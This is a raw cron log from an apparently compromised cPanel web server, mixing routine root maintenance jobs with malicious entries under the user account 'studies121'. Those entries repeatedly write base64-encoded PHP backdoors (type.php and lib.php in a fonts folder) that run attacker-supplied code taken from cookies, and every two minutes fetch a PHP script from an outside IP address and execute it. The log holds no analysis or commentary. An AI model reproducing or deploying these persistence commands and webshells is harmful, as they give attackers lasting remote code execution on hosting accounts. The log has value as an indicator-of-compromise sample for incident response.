Sep 12 23:39:02 ip-184-168-122-23 CROND[11199]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 23:39:02 ip-184-168-122-23 CROND[11198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:39:02 ip-184-168-122-23 CROND[11200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:39:02 ip-184-168-122-23 CROND[11201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:40:01 ip-184-168-122-23 CROND[11304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:40:01 ip-184-168-122-23 CROND[11305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:40:01 ip-184-168-122-23 CROND[11306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:40:01 ip-184-168-122-23 CROND[11307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:40:02 ip-184-168-122-23 CROND[11312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:40:02 ip-184-168-122-23 CROND[11313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:40:02 ip-184-168-122-23 CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:40:02 ip-184-168-122-23 CROND[11317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:41:01 ip-184-168-122-23 CROND[11405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:41:01 ip-184-168-122-23 CROND[11407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:41:01 ip-184-168-122-23 CROND[11406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:41:01 ip-184-168-122-23 CROND[11408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:42:01 ip-184-168-122-23 CROND[11496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:42:01 ip-184-168-122-23 CROND[11498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:42:01 ip-184-168-122-23 CROND[11500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:42:01 ip-184-168-122-23 CROND[11501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:42:01 ip-184-168-122-23 CROND[11502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:43:01 ip-184-168-122-23 CROND[11695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:43:01 ip-184-168-122-23 CROND[11696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:43:01 ip-184-168-122-23 CROND[11699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:43:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:44:01 ip-184-168-122-23 CROND[11800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:44:01 ip-184-168-122-23 CROND[11802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:44:01 ip-184-168-122-23 CROND[11801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:44:01 ip-184-168-122-23 CROND[11805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:44:01 ip-184-168-122-23 CROND[11804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:45:01 ip-184-168-122-23 CROND[11897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:45:01 ip-184-168-122-23 CROND[11898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:45:01 ip-184-168-122-23 CROND[11904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:45:01 ip-184-168-122-23 CROND[11900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:45:01 ip-184-168-122-23 CROND[11901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:45:01 ip-184-168-122-23 CROND[11903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:46:01 ip-184-168-122-23 CROND[12049]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12046]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 23:46:01 ip-184-168-122-23 CROND[12045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:47:01 ip-184-168-122-23 CROND[12158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:47:01 ip-184-168-122-23 CROND[12160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:47:01 ip-184-168-122-23 CROND[12162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:47:01 ip-184-168-122-23 CROND[12161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:48:01 ip-184-168-122-23 CROND[12321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:48:01 ip-184-168-122-23 CROND[12324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:48:01 ip-184-168-122-23 CROND[12325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:48:01 ip-184-168-122-23 CROND[12323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:48:01 ip-184-168-122-23 CROND[12326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:49:01 ip-184-168-122-23 CROND[12410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:49:01 ip-184-168-122-23 CROND[12409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:49:01 ip-184-168-122-23 CROND[12411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:49:01 ip-184-168-122-23 CROND[12412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:50:01 ip-184-168-122-23 CROND[12505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:50:01 ip-184-168-122-23 CROND[12507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:50:01 ip-184-168-122-23 CROND[12509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:51:01 ip-184-168-122-23 CROND[12615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:51:01 ip-184-168-122-23 CROND[12616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:51:01 ip-184-168-122-23 CROND[12617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
